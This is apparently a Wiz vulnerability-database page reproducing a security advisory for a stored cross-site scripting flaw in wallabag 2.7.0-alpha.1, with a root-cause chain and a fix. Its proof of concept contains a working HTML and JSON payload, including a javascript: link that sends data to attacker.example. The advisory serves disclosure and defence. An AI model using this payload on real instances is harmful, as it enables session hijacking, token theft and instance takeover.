Wiz rejoint Google Cloud : Faire de la magie ensemble

GHSA-hg3m-q4fj-ggmq: 
PHP Analyse et atténuation de la vulnérabilité

Summary

wallabag 2.7.0-alpha.1 lets all data-* attributes through its HTML sanitizer (htmLawed) and renders entry content with |raw. Stimulus treats those attributes as component configuration, so attacker-authored content can instantiate the annotations controller with attacker-controlled URLs. The annotation JSON supplies links[].href, which annotator writes into the viewer without scheme validation; a javascript: link runs in the victim's session on click.

Details

Affected: 2.7.0-alpha.1 and master (2.7.0-dev). 2.6.x is not affected: it has no Stimulus. Chain:

  1. src/Helper/ContentProxy.php:50 -> Graby::cleanupHtml() -> htmLawed with safe=1 allows every data-* attribute.
  2. templates/Entry/entry.html.twig:363-370 mounts the annotations controller and renders {{ entry.content|raw }} inside it.
  3. assets/controllers/annotations_controller.js:5-11,31,50 reads the four URLs from data-annotations-*-value and queries the search URL on connect.
  4. node_modules/annotator/src/ui/viewer.js:252 sets the link href from links[0].href with no scheme allowlist. Fix: strip data-controller, data-action, data-*-value/target/outlet from stored entry content; add an http(s) allowlist for links[].href in the viewer. Reproduction used the API content parameter (the report's second delivery path). The fetch path runs the same cleanup; cleanupHtml() on a normal article preserves the payload (verified).

Proof of concept

  1. Install 2.7.0-alpha.1, log in as any user.
  2. Create an entry whose content is:

<div data-controller="annotations" data-annotations-entry-id-value="1" data-annotations-search-url-value="https://attacker.example/c"> <p>View the original webpage for this article</p> </div> 3. https://attacker.example/c returns, with Access-Control-Allow-Origin: *: {"rows":[{"id":1, "ranges":[{"start":"/p[1]","startOffset":0,"end":"/p[1]","endOffset":36}], "links":[{"rel":"alternate","type":"text/html", "href":"javascript:void(document.title='XSS_OK',(new Image()).src='https://attacker.example/x?d='+encodeURIComponent(document.title))"}], "text":"View the original webpage"}]} 4. Open /view/{id}. The page requests /c?entry=1, highlights the text; hover it and click "View as webpage". 5. Observed: request to /c, then document.title = XSS_OK and GET /x?d=XSS_OK. Notes: ranges must point to an element (/p[1]), not a text node; offsets are text offsets. Use https endpoints when the instance is https. For the full fetch path, use a public attacker host; 2.7 blocks private/reserved addresses.

Impact

Same-origin script execution in the victim's wallabag session: read all entries and annotations, read /config (RSS/OPDS tokens in cleartext), create/delete annotations and tokens. If the victim is a superadmin: read /settings and /users, create users, edit other users -> practical instance takeover. Requires saving the attacker page and one click; HttpOnly cookies are not exposed, but same-origin reads are sufficient.


Source: NVD

Connexe PHP Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-hg3m-q4fj-ggmqCRITICAL9.3
  • PHP logoPHP
  • wallabag/wallabag
NonNonNov 20, 2026
CVE-2026-63012MEDIUM6.5
  • PHP logoPHP
  • baserproject/baser-core
NonOuiNov 19, 2026
GHSA-crpp-mf59-rhpqMEDIUMN/A
  • PHP logoPHP
  • api-platform/core
NonOuiNov 20, 2026
GHSA-9wh3-m3m5-jffxMEDIUMN/A
  • PHP logoPHP
  • nowo-tech/transaction-doctrine
NonOuiNov 20, 2026
GHSA-65w2-9r4h-848gMEDIUMN/A
  • PHP logoPHP
  • nowo-tech/transaction-doctrine
NonOuiNov 20, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités